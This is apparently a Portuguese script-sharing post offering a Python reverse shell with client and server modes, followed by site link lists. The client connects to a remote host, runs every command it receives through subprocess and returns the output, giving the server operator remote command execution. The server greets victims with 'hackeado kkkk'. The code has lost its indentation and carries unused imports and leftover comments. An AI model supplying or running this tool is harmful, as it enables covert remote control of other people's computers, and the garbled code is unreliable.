Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.300 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3
import socket
import sys
import subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui
buffer = 4096
# display screen resolution, get it from your OS settings
# define the codec
# create the video write object
if len(sys.argv) < 2:
sys.exit
quit()
if sys.argv[1] == '-h':
print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
sys.exit()
quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
s = socket.socket()
if a in 'Ss':
s.bind((host,port))
s.listen(5)
print(f'listndo {host}:{port}')
client_socket, client_adress = s.accept()
message = 'hackeado kkkk'.encode()
client_socket.send(message)
while True:
command = input('comando: ')
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close
if a in 'cC':
s.connect((host, port))
message = s.recv(buffer).decode()
print('server: ', message)
# start sending the file
while True:
# receive the command from the server
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
if s.close:
print('-'*20, 'fim', '-'*18)
auth_ig.py: Script para autenticação do IG
Shell reverso completo - servidor
Shell reverso em Python - cliente
Cinnamon seria a aposta acertada frente às outras interfaces gráficas mais populares?
KDE Plasma - porque pode ser a melhor opção de interface gráfica
Gentoo: detectando impressoras de rede e como fixar uma impressora por IP
Como o GNOME conseguiu o feito de ser preterido por outras interfaces gráficas
Acessando o terminal do seu PC pelo celular fora de casa
Por que sua empresa precisa de uma PKI (e como automatizar EMISSÕES de certificados via Web API)
Midia de instalação LM-21.3 não inicializa (0)
Vou destruir sua infância:) (8)
Interface gráfica com problema (2)









